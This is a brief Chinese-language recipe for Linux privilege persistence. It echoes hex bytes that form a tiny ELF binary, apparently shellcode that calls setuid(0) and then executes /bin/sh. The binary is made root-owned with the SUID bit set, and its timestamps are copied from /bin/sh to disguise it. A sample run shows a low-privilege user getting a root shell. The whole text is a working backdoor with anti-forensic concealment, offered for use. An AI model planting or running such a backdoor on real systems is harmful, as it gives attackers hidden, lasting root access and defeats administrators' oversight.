用于linux权限维持
当获得root权限之后,可对fakesh设置suid标志位
之后就可以用fakesh在低权限下获得root权限
echo -e -n "\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9b\x00\x00\x00\x00\x00\x00\x00\xbe\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H1\xffjiX\x0f\x05j;X\xe8\x08\x00\x00\x00/bin/sh\x00_H\x8dt$\x08H1\xc9\x0f\x05" > fakesh
chown 0:0 fakesh
chmod 4755 fakesh
touch fakesh -r /bin/sh
fakesh -c id
输出
➜ ./fakesh -c id
uid=0(root) gid=1000(test) ...